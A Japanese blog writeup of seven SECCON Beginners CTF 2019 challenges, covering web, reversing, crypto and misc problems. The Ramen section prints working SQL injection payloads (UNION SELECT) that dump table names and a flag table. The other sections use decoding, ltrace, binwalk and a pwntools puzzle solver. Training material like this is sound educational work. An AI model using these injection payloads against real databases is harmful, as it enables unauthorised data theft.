TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

SECCON Beginners CTF 2019 Writeup

SECCON Beginners CTF 2019 について

SECCON Beginners CTF 2019が開催されました。
2019月5月25日 午後3時~5月26日 午後3時(24時間)

https://score.beginners.seccon.jp/score.beginners.seccon.jp

今回は、4人のチームで参加しました。結果は、72位で1291点でした。 これまで参加してきたDEFCONやTSGなどと違って易しい問題が多かったです。

f:id:tsalvia:20190529023654p:plain

SECCON Beginners CTF 2019 Writeup
(7問)

私が実際に解いた7つの問題だけ紹介します。

[Web] Ramen

問題

ラーメン https://ramen.quals.beginners.seccon.jp

解答例

https://ramen.quals.beginners.seccon.jp にアクセスしてみると、ラーメン屋の店員紹介ページが表示されました。

f:id:tsalvia:20190529013634p:plain

名前の入力欄があるようです。 試しに「'」と入力してみると、PHPのエラーが表示されました。SQLインジェクションができそうです。

Fatal error: Uncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11 Stack trace: #0 {main} thrown in /var/www/web/public/index.php on line 11

いろいろ入力してみると、以下の入力でテーブル名一覧を取得することができました。

' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS -- 

f:id:tsalvia:20190529012814p:plain
省略
f:id:tsalvia:20190529012833p:plain

flagというテーブルがあるようです。 以下のように入力してみると、フラグを取得することができました。

' UNION SELECT flag, null FROM flag -- 

f:id:tsalvia:20190529012657p:plain

FLAG

ctf4b{a_simple_sql_injection_with_union_select}

[Web] katsudon

問題

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。
https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

解答例

とりあえず、https://katsudon.quals.beginners.seccon.jp にアクセスしてみると、3つのシリアルコードが書かれていました。

f:id:tsalvia:20190529011100p:plain

BAhJIhByZWl3YWhhbnRlbgY6BkVU--bc5614afcef948624ebc137432c2dcdc624111b6
BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU--f9aa81191fb073fb87bfa71b20c02bf3a30d1b10
BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==--a78497e11151cffc45af945a1a243138b6084140

最後のシリアルコードだけ==という文字列があり、Base64エンコードされているように見えます。 それぞれデコードしてみると、以下の通りになり、店名が出てきました。

..I".reiwahanten.:.ET
..I".heiseishokudou.:.ET
..I".restaurantshowa.:.ET

次に https://katsudon.quals.beginners.seccon.jp/flag に確認すると、シリアルコードだけが書かれていました。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

同様にBase64でデコードしてみると、フラグが出てきました。

..I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}.:.ET

フラグ

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

[Reversing] Seccompare

問題

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file seccompare
seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped

ELFファイルだったので、Ghidraで開いてみました。 f:id:tsalvia:20190528233959p:plain

1文字ずつ値を代入し、strcmpで比較しているようです。 ltraceで関数呼び出しをトレース出力してみると、strcmp関数による比較処理で、フラグを確認することができました。

$ ltrace ./seccompare aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 2
puts("wrong"wrong
)                                                             = 6
+++ exited (status 0) +++

FLAG

ctf4b{5tr1ngs_1s_n0t_en0ugh}

[Crypto] So Tired

問題

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!
File: so_tired.tar.gz

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file encrypted.txt
encrypted.txt: ASCII text, with very long lines, with no line terminators

普通のテキストファイルのようなので中身を確認してみました。 末尾のほうを見ると==となっていたので、Base64エンコードされているようです。

省略
OS79ZdkY3RZVE55QKbgtlPXoZ5vgL0L4ig5FFk07kYmt9oP4+xY8VKB7Iqh9I+5+K5v4B8HzgzA==

ここからは、CyberChefで作業しました。
まず、「From Base64」でデコードすると、zlibで圧縮されたデータが出てきました。

f:id:tsalvia:20190529001913p:plain

次に、「Zlib Inflate」で展開してみると、またBase64らしきデータが出てきました。

f:id:tsalvia:20190529002206p:plain

もう一度、「From Base64」でデコードすると、またzlibで圧縮されたデータが出てきました。

「From Base64」→「Zlib Inflate」を繰り返し展開していく問題のようです。 「Label」と「Conditional Jump」を使って、ctf4bという文字列が現れるまでループさせるとフラグを取得することができました。

f:id:tsalvia:20190529003012p:plain

FLAG

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

[Misc] Welcome

問題

SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf

解答例

IRC: freenode.net と書かれていたので、freenode.netで検索すると、IRCのサービスが出てきました。

Kiwi IRC

「Channels」に「#seccon-beginners-ctf」と入力して「Connect」を押すと、 SECCON Beginners CTF 2019の運営に質問するためのチャンネルに接続できました。

f:id:tsalvia:20190529004841p:plain

チャンネルの説明欄にフラグが書かれていました。

f:id:tsalvia:20190529005005p:plain

FLAG

ctf4b{welcome_to_seccon_beginners_ctf}

[Misc] containers

問題

Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

解答例

ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。

$ file e35860e49ca3fa367e456207ebc9ff2f_containers
e35860e49ca3fa367e456207ebc9ff2f_containers: data

dataと表示され、よく分からないのでbinwalkコマンドを実行してみました。

$ binwalk e35860e49ca3fa367e456207ebc9ff2f_containers

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
16            0x10            PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
107           0x6B            Zlib compressed data, compressed
738           0x2E2           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
829           0x33D           Zlib compressed data, compressed
1334          0x536           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
1425          0x591           Zlib compressed data, compressed
1914          0x77A           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
2005          0x7D5           Zlib compressed data, compressed
2856          0xB28           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
2947          0xB83           Zlib compressed data, compressed
3666          0xE52           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
3757          0xEAD           Zlib compressed data, compressed
4354          0x1102          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
4445          0x115D          Zlib compressed data, compressed
5156          0x1424          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
5247          0x147F          Zlib compressed data, compressed
5846          0x16D6          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
5937          0x1731          Zlib compressed data, compressed
6722          0x1A42          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
6813          0x1A9D          Zlib compressed data, compressed
7757          0x1E4D          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
7848          0x1EA8          Zlib compressed data, compressed
8338          0x2092          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
8429          0x20ED          Zlib compressed data, compressed
9243          0x241B          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
9334          0x2476          Zlib compressed data, compressed
10319         0x284F          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
10410         0x28AA          Zlib compressed data, compressed
11042         0x2B22          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
11133         0x2B7D          Zlib compressed data, compressed
12118         0x2F56          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
12209         0x2FB1          Zlib compressed data, compressed
12809         0x3209          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
12900         0x3264          Zlib compressed data, compressed
13845         0x3615          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
13936         0x3670          Zlib compressed data, compressed
14592         0x3900          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
14683         0x395B          Zlib compressed data, compressed
15535         0x3CAF          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
15626         0x3D0A          Zlib compressed data, compressed
16440         0x4038          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
16531         0x4093          Zlib compressed data, compressed
17313         0x43A1          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
17404         0x43FC          Zlib compressed data, compressed
18218         0x472A          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
18309         0x4785          Zlib compressed data, compressed
19123         0x4AB3          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
19214         0x4B0E          Zlib compressed data, compressed
19926         0x4DD6          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
20017         0x4E31          Zlib compressed data, compressed
20869         0x5185          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
20960         0x51E0          Zlib compressed data, compressed
21742         0x54EE          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
21833         0x5549          Zlib compressed data, compressed
22465         0x57C1          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
22556         0x581C          Zlib compressed data, compressed
23408         0x5B70          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
23499         0x5BCB          Zlib compressed data, compressed
23989         0x5DB5          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
24080         0x5E10          Zlib compressed data, compressed
24810         0x60EA          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
24901         0x6145          Zlib compressed data, compressed
25753         0x6499          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
25844         0x64F4          Zlib compressed data, compressed
26788         0x68A4          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
26879         0x68FF          Zlib compressed data, compressed
27599         0x6BCF          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
27690         0x6C2A          Zlib compressed data, compressed
28504         0x6F58          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
28595         0x6FB3          Zlib compressed data, compressed
29085         0x719D          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
29176         0x71F8          Zlib compressed data, compressed
29808         0x7470          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
29899         0x74CB          Zlib compressed data, compressed
30844         0x787C          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
30935         0x78D7          Zlib compressed data, compressed
31524         0x7B24          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
31615         0x7B7F          Zlib compressed data, compressed

PNG形式のデータが複数混ざっているようです。 foremostコマンドで抽出してみます。

$ foremost e35860e49ca3fa367e456207ebc9ff2f_containers
Processing: e35860e49ca3fa367e456207ebc9ff2f_containers
|*|

抽出したファイルを確認すると、画像に文字が書かれており、フラグになっていました。

f:id:tsalvia:20190529004206p:plain

FLAG

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

[Misc] Sliding puzzle

問題

nc 133.242.50.201 24912

スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。

スライドパズルは以下のように表示されます。 ----------------
| 0 | 2 | 3 |
| 6 | 7 | 1 |
| 8 | 4 | 5 |
----------------

0 はブランクで動かすことが可能です。操作方法は以下のとおりです。

0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。

----------------
| 0 | 1 | 2 |
| 3 | 4 | 5 |
| 6 | 7 | 8 |
----------------

操作手順は以下の形式で送信してください。

1,3,2,0, ... ,2

解答例

netcatで 133.242.50.201:24912 に接続してみると、以下のように表示されました。

$ nc 133.242.50.201 24912
----------------
| 03 | 01 | 04 |
| 00 | 05 | 02 |
| 06 | 07 | 08 |
----------------

0,0,0,0,0,0
[-] Incorrect answer.

10秒でタイムアウトしてしまうようなので、プログラムを書いて解いていく問題のようです。 8パズルを解くプログラムを1から組むのは大変なので、検索していると幅優先探索で8パズルを解いているブログがありました。

py3.hateblo.jp

上記のブログのプログラムを参考に今回の問題を解いていきます。

# 8-puzzle.py
from collections import deque
from pwn import *

MOVE = {'U': (0, -1), 'D': (0, 1), 'L': (-1, 0), 'R': (1, 0)}  # (x,y)

def get_next(numbers):
    for d in 'UDLR':
        zero_index = numbers.index(0)
        tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1]
        if 0 <= tx < 3 and 0 <= ty < 3:
            target_index = ty * 3 + tx
            result = list(numbers)
            result[zero_index], result[target_index] = numbers[target_index], 0
            yield d, tuple(result)

def checkio(puzzle):
    queue = deque([(tuple(n for line in puzzle for n in line), '')])
    seen = set()
    while queue:
        numbers, route = queue.popleft()
        seen.add(numbers)
        # if numbers == (1, 2, 3, 4, 5, 6, 7, 8, 0):
        if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8):
            return route
        for direction, new_numbers in get_next(numbers):
            if new_numbers not in seen:
                queue.append((new_numbers, route + direction))

p = remote('133.242.50.201', 24912)

count = 1
while True:
    try:
        puzzle = []
        for _ in range(3):
            p.readuntil('| ')
            read_line = p.readline().strip().replace(' ', '').split('|')
            puzzle_row = [int(read_line[0]), int(read_line[1]), int(read_line[2])]
            puzzle.append(puzzle_row)

        answer_UDLR = checkio(puzzle)
        answer = answer_UDLR    \
            .replace('U', '0,') \
            .replace('D', '2,') \
            .replace('L', '3,') \
            .replace('R', '1,')[:-1]

        p.sendline(answer)

        print('-----' + str(count) + '-----')
        print(puzzle)
        print(answer)

        count += 1
    except EOFError:
        break

p.interactive()

上記のプログラムを実行してみると、100問解いた後にフラグが表示されました。

$ python 8-puzzle.py
[+] Opening connection to 133.242.50.201 on port 24912: Done
-----1-----
[[0, 2, 5], [1, 3, 8], [6, 4, 7]]
2,1,2,1,0,0,3,3
-----2-----
[[4, 3, 2], [6, 1, 8], [0, 5, 7]]
0,0,1,2,2,1,0,3,3,0
-----3-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
-----4-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
-----5-----
[[1, 2, 5], [3, 4, 0], [6, 7, 8]]
0,3,3

省略

-----96-----
[[1, 4, 2], [6, 3, 5], [0, 7, 8]]
0,1,0,3
-----97-----
[[1, 4, 2], [3, 0, 7], [6, 8, 5]]
1,2,3,0,0,3
-----98-----
[[3, 1, 2], [7, 6, 5], [0, 4, 8]]
0,1,2,3,0,0
-----99-----
[[3, 1, 2], [0, 7, 5], [4, 6, 8]]
2,1,0,3,0
-----100-----
[[1, 2, 0], [3, 4, 5], [6, 7, 8]]
3,3
[*] Switching to interactive mode
----------------

[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
[*] Got EOF while reading in interactive

FLAG

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}